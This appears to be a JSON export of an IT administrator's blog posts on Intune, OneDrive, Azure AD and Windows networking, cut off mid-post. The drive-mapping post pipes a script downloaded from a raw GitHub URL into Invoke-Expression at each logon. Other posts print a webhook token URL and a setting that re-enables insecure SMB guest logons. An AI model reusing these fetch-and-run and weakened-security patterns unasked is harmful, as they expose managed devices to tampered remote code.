action","type":"posts"},{"content":"Reviewing the latest OneDrive features I wanted to try the new AutoMountTeamSites setting which lets you preconfigure SharePoint online sites to sync automatically for defined users and devices.\nUpdated on 12.07.2019: Included the Intune administrative template configuration\nThe setting is officially described as follow:\nThis setting lets you specify SharePoint team site libraries to sync automatically the next time users sign in to the OneDrive sync client. (Microsoft)\nIf you enable this setting, the OneDrive sync client will automatically download the contents of the libraries you specified as online-only files the next time the user signs in. The user won\u0026rsquo;t be able to stop syncing the libraries. (Microsoft)\nPrerequisites # In order to get things up an running we need at least:\nOneDrive sync client version 19.012.0121.0011 or newer Windows 10 Version 1709 or newer OneDrive Files On-Demand enabled (described below) Be aware that this feature is not supported with on-premises SharePoint sites and not recommended to enable this setting for more than 1'000 devices. The device limit is related to the Windows Push Notification Service which tells the OneDrive clients when a file change occurs on a server side. When you exceed that limit clients will find themselves in a polling mode. Hans Brender explains this behavior well on his blog.\nGathering the SharePoint library ID # We need to gather the SharePoint library ID which is an encoded HTML URL of your SharePoint library. To get the library ID navigate to your SharePoint site, click Sync and then Copy library ID.\n## Intune Administrative Template configuration Create a new device configuration profile in Intune and select Administrative Template as type:\nTo find all OneDrive policies enter \u0026ldquo;OneDrive\u0026rdquo; as search criteria Look for the \u0026ldquo;Use OneDrive Files On-Demand\u0026rdquo; setting and enable it Look for the \u0026ldquo;configure team site libraries to sync automatically\u0026rdquo; setting which is available in the machine and user context Enter a friendly Name for your library and paste-in the copied SharePoint library ID from above Please note that the Name property is only used for better recognition of the setting and has no impact on your end devices - where the original name of the SharePoint library will be displayed. | |\nAdditional policies # For a better user experience I recommend you to configure the: \u0026ldquo;Silently sign in users to the OneDrive sync client with their Windows credentials\u0026rdquo; as well, assuming your devices are Hybrid Azure AD Joined or Azure AD Joined then OneDrive get\u0026rsquo;s automatically provisioned.\nIntune ADMX ingestion (superseded) # Normally I\u0026rsquo;m a fan of Intune OMA-URI and ADMX Backend Policies to deploy GPO settings with Intune. Unfortunately I had a lot of issues for this setting and kept testing for a long time. I was able to write values into the registry with URL\u0026rsquo;s like \u0026ldquo;tech.nicolonsky.ch\u0026rdquo; but not with encoded SharePoint library ID\u0026rsquo;s. This resolves to a problem with the Windows 10 client side MDM extension because it cannot process the encoded SharePoint Library ID string.\nRegistry configuration # Enabling the feature with the Windows registry is quite easy and may be suitable if you cannot use device management capabilities like Intune MDM or Group Policy. We simply need to set a registry key under the following location:\nHKLM:\\SOFTWARE\\Policies\\Microsoft\\OneDrive\\TenantAutoMount\nChoose a suitable name (this has no technical impact as the original SharePoint library name is used) as value use the copied SharePoint library ID from above. PowerShell snippet # To set the registry key with an (Intune) PowerShell script you can use the following snippet and update it with your values:\nEnd user experience # After the next sign-in it took a few minutes and the SharePoint library was visible on my lab-machine:\nPlease note that it can take up to 8 hours to apply the setting, as documented by Microsoft.\n","date":"17 March 2019","externalUrl":null,"permalink":"/onedrive-automountteamsites/","section":"Posts","summary":"Reviewing the latest OneDrive features I wanted to try the new AutoMountTeamSites setting which lets you preconfigure SharePoint online sites to sync automatically for defined users and devices.\nUpdated on 12.07.2019: Included the Intune administrative template configuration\nThe setting is officially described as follow:\nThis setting lets you specify SharePoint team site libraries to sync automatically the next time users sign in to the OneDrive sync client. (Microsoft)\nIf you enable this setting, the OneDrive sync client will automatically download the contents of the libraries you specified as online-only files the next time the user signs in. The user won’t be able to stop syncing the libraries. (Microsoft)\nPrerequisites # In order to get things up an running we need at least:\nOneDrive sync client version 19.012.0121.0011 or newer Windows 10 Version 1709 or newer OneDrive Files On-Demand enabled (described below) Be aware that this feature is not supported with on-premises SharePoint sites and not recommended to enable this setting for more than 1'000 devices. The device limit is related to the Windows Push Notification Service which tells the OneDrive clients when a file change occurs on a server side. When you exceed that limit clients will find themselves in a polling mode. Hans Brender explains this behavior well on his blog.\n","title":"Introducing the OneDrive AutoMountTeamSites setting","type":"posts"},{"content":"","date":"17 March 2019","externalUrl":null,"permalink":"/tags/onedrive-for-business/","section":"Tags","summary":"","title":"Onedrive-for-Business","type":"tags"},{"content":"Recently a customer needed a drive mapping solution to access his on premise file shares during his transition phase to a cloud-only workplace. I wanted to share the solution with you because it\u0026rsquo;s a frequently asked question around a modern workplace migration. The following solution can also be extended or modified for a printer mapping or other PowerShell scripts which need to run on each user logon.\nUpdated 04.08.2019: I\u0026rsquo;ve developed an automated solution to generate network drive mapping configurations with an online tool which also migrates group policy network drive mappings. See: next-level-network-drive-mapping-with-intune.\nDirect link to the final scripts\nLets assume we have the following scenario:\n- Customer with hybrid user-identities (Azure AD Connect) - On premise ressources with legacy file shares - Devices are Azure AD joined \u0026nbsp;( **not** hybrid joined) - MDM managed with Intune - [Optional] Always on VPN for external on-premise resource access - [Optional] Windows Hello for Business deployment as described [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/hello-for-business/hello-hybrid-aadj-sso) Architecture # With my colleague Alain Schneiter I designed the following solution:\nMain PowerShell script stored on Azure blob storage which handles the drive mapping - driveletters, UNC paths and descriptions can be configured within the script Client side script deployed with Intune which triggers the main script during logon. The main script is not stored locally which makes it easy to customize (no updates oder changes needed on client side) Deployment is user targeted via Azure AD group and Intune Azure blob storage configuration # We wanted to store the script within Azure because the customer was already using Azure blob storage. It\u0026rsquo;s also possible to store the PowerShell script on GitHub if you don\u0026rsquo;t want to use Azure.\nCreate a new Azure storage account. Standard performance and locally-redundant sotrage (LRS) is sufficient for our requirements.\nCreate an Azure blob container to store the script. Set the public access level to anonymous.\nUpload the PowerShell drive mapping script and copy its access url (we need the url later):\nPlease find the script on my GitHub.\nSpecify the network drives you want to map as [PSCUSTOMOBJECT] in the config section of the script and don\u0026rsquo;t forget to change the $dnsDomainName variable to your Active Directory domain name.\nThe script has the following structure:\nCreate transcript in %temp% directory for the logged in user Try to resolve the configured internal DNS name for your Active directory domain Maximal three retry attempts with 3 seconds pause in between each are made (intended if you use always on VPN with user tunnel) Map configured network drives as persistent PSDrives Intune configuration # In Intune we deploy the client side script which can be found also on my GitHub. The only thing we have to change here is the URL to your main script on the Azure blob storage.\nThe client side script consists of:\nCreate a registry run entry for the currentuser (HKCU) hive to execute the main script from the azure blob storage on each user logon Invoke the main script initially (otherwise we would have to wait until the next user logon until the network drives become available) After adjusting the script deploy it with Intune to an Azure AD group containing your users. Remember to run the script using the logged on credentials.\nExecuting the main script looks like this - just to show you a cool gif:\nAdditional information # We decided to use the HKCU registry because scheduled tasks cannot be deployed in the user context (local admin rights are required) Instead of Azure blob storage you can also make a webrequest to a GitHub \u0026ldquo;raw\u0026rdquo; script - e.g.: Invoke-RestMethod \u0026quot;https://raw.githubusercontent.com/nicolonsky/Techblog/master/IntuneNetworkDrives/DriveMappingScript.ps1\u0026quot; | Invoke-Expression Happy drivemapping.\n","date":"11 January 2019","externalUrl":null,"permalink":"/intune-execute-powershell-script-on-each-user-logon/","section":"Posts","summary":"Recently a customer needed a drive mapping solution to access his on premise file shares during his transition phase to a cloud-only workplace. I wanted to share the solution with you because it’s a frequently asked question around a modern workplace migration. The following solution can also be extended or modified for a printer mapping or other PowerShell scripts which need to run on each user logon.\nUpdated 04.08.2019: I’ve developed an automated solution to generate network drive mapping configurations with an online tool which also migrates group policy network drive mappings. See: next-level-network-drive-mapping-with-intune.\nDirect link to the final scripts\nLets assume we have the following scenario:\n- Customer with hybrid user-identities (Azure AD Connect) - On premise ressources with legacy file shares - Devices are Azure AD joined  ( **not** hybrid joined) - MDM managed with Intune - [Optional] Always on VPN for external on-premise resource access - [Optional] Windows Hello for Business deployment as described [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/hello-for-business/hello-hybrid-aadj-sso) Architecture # With my colleague Alain Schneiter I designed the following solution:\nMain PowerShell script stored on Azure blob storage which handles the drive mapping - driveletters, UNC paths and descriptions can be configured within the script Client side script deployed with Intune which triggers the main script during logon. The main script is not stored locally which makes it easy to customize (no updates oder changes needed on client side) Deployment is user targeted via Azure AD group and Intune Azure blob storage configuration # We wanted to store the script within Azure because the customer was already using Azure blob storage. It’s also possible to store the PowerShell script on GitHub if you don’t want to use Azure.\n","title":"Intune map network drives and execute PowerShell script on each user logon","type":"posts"},{"content":"","date":"10 January 2019","externalUrl":null,"permalink":"/tags/azure/","section":"Tags","summary":"","title":"Azure","type":"tags"},{"content":"If you are using Azure AD and the time passes you\u0026rsquo;ll have a lot of old device entries. If you enable the automatic device cleanup rule in Microsoft Intune the device is only removed within MDM and the Azure AD entry still exists.\nIntune device cleanup rule For this reason I created a tiny PowerShell snippet to create a report with all devices which didn\u0026rsquo;t contact your Azure AD tenant since the treshold date specified. If you confirm the operation you can also delete all affected devices.\nPlease be careful when running the script because when removing a device from Azure AD the stored Bitlocker recovery keys are also removed. I can recommend Roger Zander\u0026rsquo;s Azure table-based Bitlocker recovery key solution.\n","date":"10 January 2019","externalUrl":null,"permalink":"/clean-up-azure-ad-devices/","section":"Posts","summary":"If you are using Azure AD and the time passes you’ll have a lot of old device entries. If you enable the automatic device cleanup rule in Microsoft Intune the device is only removed within MDM and the Azure AD entry still exists.\nIntune device cleanup rule For this reason I created a tiny PowerShell snippet to create a report with all devices which didn’t contact your Azure AD tenant since the treshold date specified. If you confirm the operation you can also delete all affected devices.\nPlease be careful when running the script because when removing a device from Azure AD the stored Bitlocker recovery keys are also removed. I can recommend Roger Zander’s Azure table-based Bitlocker recovery key solution.\n","title":"Clean up stale Azure AD devices","type":"posts"},{"content":"If you want to assign Microsoft licenses to your Azure AD users e.g. Microsoft 365 E3 licenses you can do this with group based licensing as described here. The problem is that even with group based licensing the UsageLocation property for each user must be set individually.\nUpdate: 13.01.2019: Since group based licensing is GA the tenant location is used if no UsageLocation is set on a user object. Use this guide if you want to manually assign licenses or override the tenant settings if you need to configure different UsageLocations.\nPossible bulk and automation solutions # You can achieve this with the following options:\n\u0026ldquo;Manual\u0026rdquo; trough Azure or Office 365 portal PowerShell (must be triggered manually or through scheduled task) Azure AD Connect synchronisation (UsageLocation populated in on prem AD) Azure automation with PowerShell runbook as in this post 🙂 Azure automation sounds expensive? # Fortunately Azure automation offers 500 minutes of script runtime for free. Find more details under Automation pricing. Just to give you an idea: If the executed script has an average runtime of 1 minute you could run it (500 minutes / (30 calendear days / 1 minute script runtime)) = 16x per day. Each month. For free.\nPrerequisites # For the Azure automation solution the following prerequisites must be met:\nValid Azure subscription Permissions to create an automation account and assign Azure AD directory roles Create Azure automation account # Create a new Azure automation account with your desired naming and location. Important from a functional aspect is that \u0026ldquo;Create Azure RunAs account\u0026rdquo; is selected.\nRun As Account permissions # The Run As Account which was created with the automation account needs the Azure AD \u0026ldquo;User Administrator\u0026rdquo; role. To assign the role we need the \u0026ldquo;Service Principal Object ID\u0026rdquo; of the Run As Account (can be found under the Run As Accounts section):\nIn my case the ID was: 497421d0-5b78-4cf1-bab1-6ad2e3d7f319\nTo grant the Run As Account the \u0026ldquo;User Administrator\u0026rdquo; role we use PowerShell with the AzureAD module on an a Windows client of your choice. To find our Run As account in Azure AD we need the ID as described above.\nAdd Azure AD module # In order to access Azure AD from the runbook add the AzureAD PowerShell module to your automation account.\nAdd variable for UsageLocation # Because we can access variables in an automation account through (PowerShell) runbooks I configured a variable for the \u0026ldquo;UsageLocation\u0026rdquo;:\nAdd the runbook # Last but not least let\u0026rsquo;s add the PowerShell runbook. Don\u0026rsquo;t forget to hit the publish button.\nWith the following PowerShell script we:\nRetrieve the value of the UsageLocation variable from the automation account Connect to Azure AD with our Run As Account (service principal) Query all Azure AD users which have NOT set the defined UsageLocation Set the UsageLocation accordingly Triggering the runbook execution # The execution can be triggered through a configured schedule or a webhook.\nWebhooks # A webhook allows you to trigger the script execution via POST request. The webhook URL contains a security token that allows a runbook to be invoked from third-party systems. This can be useful if your user creation process is automated and you want to execute the runbook automatically after creating a new the user.\nInvoke the runbook with PowerShell:\nInvoke-WebRequest -Method Post -Uri \u0026#34;https://s9events.azure-automation.net/webhooks?token=5LOaTKxi0lzAvv7q75A3PhIn0pWOlb3XqFaPGe3tKwc%3d\u0026#34; Excpected response (success): Time for some action # To see the runbook in action use the test pane: Happy runbook-ing.\n","date":"9 January 2019","externalUrl":null,"permalink":"/office-usage-location-azure-automation/","section":"Posts","summary":"If you want to assign Microsoft licenses to your Azure AD users e.g. Microsoft 365 E3 licenses you can do this with group based licensing as described here. The problem is that even with group based licensing the UsageLocation property for each user must be set individually.\nUpdate: 13.01.2019: Since group based licensing is GA the tenant location is used if no UsageLocation is set on a user object. Use this guide if you want to manually assign licenses or override the tenant settings if you need to configure different UsageLocations.\nPossible bulk and automation solutions # You can achieve this with the following options:\n“Manual” trough Azure or Office 365 portal PowerShell (must be triggered manually or through scheduled task) Azure AD Connect synchronisation (UsageLocation populated in on prem AD) Azure automation with PowerShell runbook as in this post 🙂 Azure automation sounds expensive? # Fortunately Azure automation offers 500 minutes of script runtime for free. Find more details under Automation pricing. Just to give you an idea: If the executed script has an average runtime of 1 minute you could run it (500 minutes / (30 calendear days / 1 minute script runtime)) = 16x per day. Each month. For free.\n","title":"Set Office 365 UsageLocation property with Azure automation","type":"posts"},{"content":"","date":"15 September 2018","externalUrl":null,"permalink":"/tags/swissskills/","section":"Tags","summary":"","title":"Swissskills","type":"tags"},{"content":"That\u0026rsquo;s it. Saturday morning, the day after my SwissSkills 2018 competition in Bern. Waiting for a call to answer even though I know that my performance was not good enough to deserve a podium spot.\nUpdate, 16.09.2018: the rankings are now available and I made it to the fourth place. Missing third by 0.05 points (!) My journey # Last year I had the privilege to compete at the national ICT skills after qualifying through the regional championships. I went there with no expectations I just wanted to know where I stand amongst others. In the end I was overwhelmed with the 3rd place.\nWith this achievement a few things had changed. I\u0026rsquo;ve gotten new opportunities regarding my job, had the chance to attend great events and had a confidence boost to finish my apprenticeship.\nBecause of my 3rd place last year I was automatically qualified to compete this year at the SwissSkills in Bern. Now I had expectations and wanted to qualify myself for the upcoming WorldSkills in Kazan.\nThe SwissSkills competition # I went to the event with a good feeling and felt confident. I had prepared myself well - even better than last year and I wanted this podium spot so badly. During the competition I was realizing that just because you want something it doesn\u0026rsquo;t have to mean that you will get it. No matter how much you want it. I gave my very best but approximately after 5 hours into the competition I had trouble to focus properly and was unable to concentrate. Of course the tasks were difficult but not at an unsolvable level.\nBut it is an upcoming world championship where only the very best compete amongst each other. I have to be honest to myself - the day it counted the most I was just not within the range of the best competitors who are eligible for the WorldSkills qualification.\nFinal toughts # Yes I\u0026rsquo;m disappointed but I can say that I gave my very best during the preparation and the competition.At this years SwissSkills it was not about a performance which I couldn\u0026rsquo;t manage. I just could not deliver that day what I was supposed to. I\u0026rsquo;m also a little bit wistful that this was my last chance to qualify for the WorldSkills and that I didn\u0026rsquo;t manage to qualify.\nI\u0026rsquo;m grateful for the experiences that I made and even more for the great support I received from my family, friends and employer (itnetX). I also want to thank all the volunteers and organizers for offering us such a great event.\nSuccess is not final, failure is not fatal. It\u0026rsquo;s the courage to continue that counts. Winston Churchill\nAt the end of this journey I can say that this experience made a better out of me and I\u0026rsquo;m ready to tackle the next challenges and will keep going.\nCheers, Nicola\n{:width=\u0026ldquo;35%\u0026rdquo;}\nThis years competitor badge - a nice souvenir\n","date":"15 September 2018","externalUrl":null,"permalink":"/swissskills-experience/","section":"Posts","summary":"That’s it. Saturday morning, the day after my SwissSkills 2018 competition in Bern. Waiting for a call to answer even though I know that my performance was not good enough to deserve a podium spot.\nUpdate, 16.09.2018: the rankings are now available and I made it to the fourth place. Missing third by 0.05 points (!) My journey # Last year I had the privilege to compete at the national ICT skills after qualifying through the regional championships. I went there with no expectations I just wanted to know where I stand amongst others. In the end I was overwhelmed with the 3rd place.\nWith this achievement a few things had changed. I’ve gotten new opportunities regarding my job, had the chance to attend great events and had a confidence boost to finish my apprenticeship.\nBecause of my 3rd place last year I was automatically qualified to compete this year at the SwissSkills in Bern. Now I had expectations and wanted to qualify myself for the upcoming WorldSkills in Kazan.\nThe SwissSkills competition # I went to the event with a good feeling and felt confident. I had prepared myself well - even better than last year and I wanted this podium spot so badly. During the competition I was realizing that just because you want something it doesn’t have to mean that you will get it. No matter how much you want it. I gave my very best but approximately after 5 hours into the competition I had trouble to focus properly and was unable to concentrate. Of course the tasks were difficult but not at an unsolvable level.\n","title":"SwissSkills some thoughts about this years competition","type":"posts"},{"content":"OneDrive KFM (Known Folder Move) allows you to redirect common Windows folders (Desktop, Documents and Pictures) to the users personal OneDrive. OneDrive Known Folder Move is the modern replacement for the well known folder redirection group policy. The deployment with Microsoft Intune allows you to trigger or automate the OneDrive KFM configuration for your end users.\nUpdated on 04.08.2019: Added administrative template configuration This post is based on a great article from Oliver Kieselbach about Deep dive ADMX ingestion to configure SilentAccountConfig with OneDrive. I used his blog to play around with the admx ingestion.\nPrerequisites # To automatically deploy OneDrive Known Folder Move the following prerequisites must be met:\nOneDrive sync client with build 18.111.0603.0004 or greater Azure AD Joined or Hybrid Azure AD Joined Windows 10 Device Running Windows 10 1709 or later Intune Configuration # Configure SilentAccountConfig # Option #1 - ADMX Templates # With SilentAccountConfig enabled OneDrive for Business gets automatically configured with the current user account who\u0026rsquo;s signing in to Windows.\nLocate and enable the following policy within your Administrative templates device configuration: \u0026ldquo;Silently sign in users to the OneDrive sync client with their Windows credentials\u0026rdquo;:\nOption #2 - OMA-URI # Name SilentAccountConfig Description Silently configure OneDrive using the primary Windows account OMA-URI ./Device/Vendor/MSFT/Policy/Config/OneDriveNGSC~Policy~OneDriveNGSC/SilentAccountConfig Data type String Value \u0026lt;enabled/\u0026gt; Gather Tenant ID # As there are multiple configuration options to enable OneDrive for Business Known Folder Move I describe the option to silently redirect the folders and the option to prompt the user first. For both options we need to acquire the tenant ID of the Azure Active Directory tenant. You can find your tenant ID in the Azure Portal in the Active Directory Application section and then choose Properties / Directory ID.\nEnable OneDrive KFM without user consent # Option #1 - ADMX Templates # Locate and enable the following policy within your Administrative templates device configuration: \u0026ldquo;Silently move Windows known folders to OneDrive\u0026rdquo;: Option #2 - OMA-URI # Name KFMOptInNoWizard Description Silently redirect Windows known folders to OneDrive OMA-URI./Device/Vendor/MSFT/Policy/Config/OneDriveNGSC~Policy~OneDriveNGSC/KFMOptInNoWizard Data type String Value \u0026lt;enabled/\u0026gt; \u0026lt;data id=\"KFMOptInNoWizard_TextBox\" value=\"Insert Your Azure Tenant ID\"/\u0026gt; \u0026lt;data id=\"KFMOptInNoWizard_Dropdown\" value=\"0\"/\u0026gt; For the the \u0026ldquo;KFMOptInNoWizard_Dropdown\u0026rdquo; the following options are available:\nValue of 0 = Don\u0026rsquo;t display any notification Value of 1 = Display a notification after KFM setup has completed User Experience # Desktop, Document and Picture folders are now redirected to OneDrive For Business: If the notification option is enabled, the user receives a toast notification that his folders are protected and synced with OneDrive: Enable OneDrive KFM with user consent # Option #1 - ADMX Templates # Locate and enable the following policy within your Administrative templates device configuration: \u0026ldquo;Prompt users to move Windows known folders to OneDrive\u0026rdquo;:\nOption #2 - OMA-URI # Name KFMOptInWithWizard Description Prompt users to move Windows known folders to OneDrive OMA-URI ./Device/Vendor/MSFT/Policy/Config/OneDriveNGSC~Policy~OneDriveNGSC/KFMOptInWithWizard Data type String Value \u0026lt;enabled/\u0026gt; \u0026lt;data id=\"KFMOptInWithWizard_TextBox\" value=\"Insert Your Azure Tenant ID\"/\u0026gt; User Experience # As soon as the user is automatically signed in to OneDrive he receives a notification to protect his common Windows folders If the user dismisses the notification it will pop up again after a few minutes. This happens until he enables OneDrive KFM protection\nIf the user starts the protection a confirmation dialog appears Prevent users from redirecting their Windows known folders (back) to their PC # If you want to prevent that users redirect their folders back to a local drive, you can add this option to your existing OneDrive KFM configuration.\nOption #1 - ADMX Templates # Locate and enable the following policy within your Administrative templates device configuration: \u0026ldquo;Prevent users from redirecting their Windows known folders to their PC\u0026rdquo;: Option #2 - OMA-URI # Name KFMBlockOptOut Description Prevent users from redirecting their Windows known folders to their PC OMA-URI./Device/Vendor/MSFT/Policy/Config/OneDriveNGSC~Policy~OneDriveNGSC/KFMBlockOptOut Data type String Value \u0026lt;enabled/\u0026gt; User Experience # A user accesses the OneDrive Sync Client settings The user wants to update his protected folders The option to stop folder protection is not shown and a hint shows that the setting is controlled by the organization Enable Files On Demand # By default OneDrive Files on Demand is enabled which only downloads files accessed or marked as always available offline.\nOption #1 - ADMX Templates # Locate and enable the following policy within your Administrative templates device configuration: \u0026ldquo;Use OneDrive Files On-Demand\u0026rdquo;: Option #2 - OMA-URI # Name FilesOnDemandEnabled Description Enable OneDrive Files On-Demand OMA-URI ./Device/Vendor/MSFT/Policy/Config/OneDriveNGSC~Policy~OneDriveNGSC/FilesOnDemandEnabled Data type String Value \u0026lt;enabled/\u0026gt; Final words # Thank you for reading this blogpost. If you have any questions or feedback just let me know. Happy Known-Folder-Moving,Nicola\n","date":"6 September 2018","externalUrl":null,"permalink":"/onedrive-known-folder-move-ms-intune/","section":"Posts","summary":"OneDrive KFM (Known Folder Move) allows you to redirect common Windows folders (Desktop, Documents and Pictures) to the users personal OneDrive. OneDrive Known Folder Move is the modern replacement for the well known folder redirection group policy. The deployment with Microsoft Intune allows you to trigger or automate the OneDrive KFM configuration for your end users.\nUpdated on 04.08.2019: Added administrative template configuration This post is based on a great article from Oliver Kieselbach about Deep dive ADMX ingestion to configure SilentAccountConfig with OneDrive. I used his blog to play around with the admx ingestion.\nPrerequisites # To automatically deploy OneDrive Known Folder Move the following prerequisites must be met:\nOneDrive sync client with build 18.111.0603.0004 or greater Azure AD Joined or Hybrid Azure AD Joined Windows 10 Device Running Windows 10 1709 or later Intune Configuration # Configure SilentAccountConfig # Option #1 - ADMX Templates # With SilentAccountConfig enabled OneDrive for Business gets automatically configured with the current user account who’s signing in to Windows.\n","title":"Deploy OneDrive KFM with Microsoft Intune OMA-URI","type":"posts"},{"content":"Hello. Long time no see. Finally I\u0026rsquo;m back with a new post. This time I created a nice little list with Windows 10 1803 New MDM Policy CSP Settings for the next Windows 10 release. If you\u0026rsquo;re not familiar with Policy CSP Settings - that are GPO Settings configureable over an Intune OMA-Uri Policy. Here\u0026rsquo;s a great introducation to Policy CSP Settings.\nMy favorite policy CPS\u0026rsquo;s available with Windows 10 1803 # The following CSP\u0026rsquo;s are available on Windows 10 1803 and later:\nControlPolicyConflict: MDMWinsOverGP\nThis policy allows the IT admin to control which policy will be used whenever both the MDM policy and its equivalent Group Policy are set on the device.\nMicrosoft docs LanmanWorkstation: EnableInsecureGuestLogons\nThis policy setting determines if the SMB client will allow insecure guest logons to an SMB server\nMicrosoft docs RestrictedGroups: ConfigureGroupMembership\nThis security setting allows an administrator to define the members of a security-sensitive (restricted) group.\nMicrosoft docs You can find the entire list (CSV) on Github.\nThe scripts to retrieve and compare the available Policy CSP\u0026rsquo;s for a Windows version are available on GitHub. Feel free to leave feedback or improvement changes.\n","date":"21 April 2018","externalUrl":null,"permalink":"/windows-10-1803-new-mdm-policy-csp-settings/","section":"Posts","summary":"Hello. Long time no see. Finally I’m back with a new post. This time I created a nice little list with Windows 10 1803 New MDM Policy CSP Settings for the next Windows 10 release. If you’re not familiar with Policy CSP Settings - that are GPO Settings configureable over an Intune OMA-Uri Policy. Here’s a great introducation to Policy CSP Settings.\nMy favorite policy CPS’s available with Windows 10 1803 # The following CSP’s are available on Windows 10 1803 and later:\nControlPolicyConflict: MDMWinsOverGP\nThis policy allows the IT admin to control which policy will be used whenever both the MDM policy and its equivalent Group Policy are set on the device.\nMicrosoft docs LanmanWorkstation: EnableInsecureGuestLogons\nThis policy setting determines if the SMB client will allow insecure guest logons to an SMB server\nMicrosoft docs RestrictedGroups: ConfigureGroupMembership\nThis security setting allows an administrator to define the members of a security-sensitive (restricted) group.\nMicrosoft docs You can find the entire list (CSV) on Github.\nThe scripts to retrieve and compare the available Policy CSP’s for a Windows version are available on GitHub. Feel free to leave feedback or improvement changes.\n","title":"Windows 10 1803 New MDM Policy CSP Settings","type":"posts"},{"content":"","date":"5 January 2018","externalUrl":null,"permalink":"/tags/miracast/","section":"Tags","summary":"","title":"Miracast","type":"tags"},{"content":"Recently I had to troubleshoot a sticky Surface Hub Miracast Connection error for a customer. They were unable to connect to the surface hub from domain joined devices but a newly installed device from a blank Windows image was working as expected. I started Troubleshooting the Surface Hub Miracast Connection Error and checked all the points mentioned in the official Troubleshoot Miracast on Surface Hub post from Microsoft.\nDefault Configuration # On a Windows 10 1709 device exists a default firewall rule to allow Miracast connections to wireless displays:\nBut the connection attempt was still interrupted after a timeout.\nLooking trough Group Policy # After analyzing the Windows 10 Security Baseline Group Policy configuration I came across the following settings:\nComputer Configuration \u0026gt; Windows Settings \u0026gt; Security Settings \u0026gt; Windows Firewall with Advanced Security:\nIn the settings for the public profile under the \u0026ldquo;Customize\u0026rdquo; section there\u0026rsquo;s a section called \u0026ldquo;Rule merging\u0026rdquo;:\nAs you can see rule merging is turned of in the Windows 10 Security Baseline which means, **all locally configured firewall rules are being ignored for the public profile. **Because Miracast connections or connection attempts belong to the public profile of the Windows Firewall, the built-in local firewall rule gets always bypassed.\nConfigure the appropriate firewall rule # The easiest way to allow Miracast connections is to create a Windows Firewall Rule for all profiles with Group Policy, as recommended in the Microsoft Blog:\nC:\\Windows\\System32\\WUDFHost.exe Allow In/Out connections for TCP and UDP, Ports: All.\nWith the Miracast rule configured, connecting to Miracast devices should work as expected even with activated Windows Firewall Rule merging.\nAdditional Troubleshooting # On domain-joined devices, Group Policy can also block Miracast.\nUse the Windows Key + R and type rsop.msc to execute the Resultant Set of Policy snap-in. This will show the current policies applied to the PC. Review Computer Configuration \u0026gt; Windows Settings \u0026gt; Security Settings \u0026gt; Wireless Network (IEEE 802.11) Policies. There should be a setting for wireless policies. Double click the setting for wireless policies and a dialog box will appear. Open the Network Permissions tab and select Allow everyone to create all user profiles. ","date":"5 January 2018","externalUrl":null,"permalink":"/surface-hub-miracast-connection-error/","section":"Posts","summary":"Recently I had to troubleshoot a sticky Surface Hub Miracast Connection error for a customer. They were unable to connect to the surface hub from domain joined devices but a newly installed device from a blank Windows image was working as expected. I started Troubleshooting the Surface Hub Miracast Connection Error and checked all the points mentioned in the official Troubleshoot Miracast on Surface Hub post from Microsoft.\nDefault Configuration # On a Windows 10 1709 device exists a default firewall rule to allow Miracast connections to wireless displays:\nBut the connection attempt was still interrupted after a timeout.\nLooking trough Group Policy # After analyzing the Windows 10 Security Baseline Group Policy configuration I came across the following settings:\nComputer Configuration \u003e Windows Settings \u003e Security Settings \u003e Windows Firewall with Advanced Security:\nIn the settings for the public profile under the “Customize” section there’s a section called “Rule merging”:\nAs you can see rule merging is turned of in the Windows 10 Security Baseline which means, **all locally configured firewall rules are being ignored for the public profile. **Because Miracast connections or connection attempts belong to the public profile of the Windows Firewall, the built-in local firewall rule gets always bypassed.\n","title":"Surface Hub Miracast Connection Error","type":"posts"},{"content":"","date":"5 January 2018","externalUrl":null,"permalink":"/tags/surface-hub/","section":"Tags","summary":"","title":"Surface-Hub","type":"tags"},{"content":"","date":"5 January 2018","externalUrl":null,"permalink":"/tags/windows-firewall/","section":"Tags","summary":"","title":"Windows-Firewall","type":"tags"},{"content":"","date":"19 October 2017","externalUrl":null,"permalink":"/tags/gpo/","section":"Tags","summary":"","title":"Gpo","type":"tags"},{"content":"","date":"19 October 2017","externalUrl":null,"permalink":"/tags/guest-access/","section":"Tags","summary":"","title":"Guest-Access","type":"tags"},{"content":"","date":"19 October 2017","externalUrl":null,"permalink":"/tags/smb2/","section":"Tags","summary":"","title":"Smb2","type":"tags"},{"content":"After Upgrading to Windows 10 1709 (Fall Creators Update) I couldn\u0026rsquo;t access my Synology NAS anymore. Therefore I started troubleshooting the Windows 10 1709 Cannot Access SMB2 Share Guest Access error:\nAn error occurred while reconnecting X: to \\\\nas\\data Microsoft Windows Network: You can\u0026rsquo;t access this shared folder because your organization\u0026rsquo;s security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.\nCause # Starting with Windows 10 1709, Windows prevents you from accessing network shares with guest access enabled. Guest access means connecting to network shares without authentication, using the built-in \u0026ldquo;guest\u0026rdquo; account.\nThis has no reference to the SMB1 protocol which was disabled in the latest Windows 10 release.\nResolution # To enable guest access again, configure the following GPO:\nComputer configuration \u0026gt; administrative templates \u0026gt; network \u0026gt; Lanman Workstation: \u0026quot;Enable insecure guest logons\u0026quot; = Enabled\nRegistry Key # The according registry key is located under:\n[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters]\u0026#34;AllowInsecureGuestAuth\u0026#34;=dword:1 Download # You can also download the reg file to simply click and set the registry key from here:AllowInsecureGuestAuth.Reg\nMDM Policy # Theres also an MDM Policy available, starting with Windows 10 1803: https://docs.microsoft.com/en-us/windows/client-management/mdm/policy-csp-lanmanworkstation\nAbout guest access # Guest access is often used to access data stored on Network Attached Storage, e.g. on a Synology NAS. Every user from any device has access to these shares. Generally it\u0026rsquo;s never recommended to use guest access because it\u0026rsquo;s a huge security risk. Within the time of ransomware, encrypting whole drives it\u0026rsquo;s definitely not a good idea. I strongly recommend to use LDAP Support to authenticate against your NAS.\nReference # Microsoft Support: guest-access-smb2-disabled-by-default-in-windows-10-server-2016 ","date":"19 October 2017","externalUrl":null,"permalink":"/windows-10-1709-cannot-access-smb2-share-guest-access/","section":"Posts","summary":"After Upgrading to Windows 10 1709 (Fall Creators Update) I couldn’t access my Synology NAS anymore. Therefore I started troubleshooting the Windows 10 1709 Cannot Access SMB2 Share Guest Access error:\nAn error occurred while reconnecting X: to \\\\nas\\data Microsoft Windows Network: You can’t access this shared folder because your organization’s security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.\nCause # Starting with Windows 10 1709, Windows prevents you from accessing network shares with guest access enabled. Guest access means connecting to network 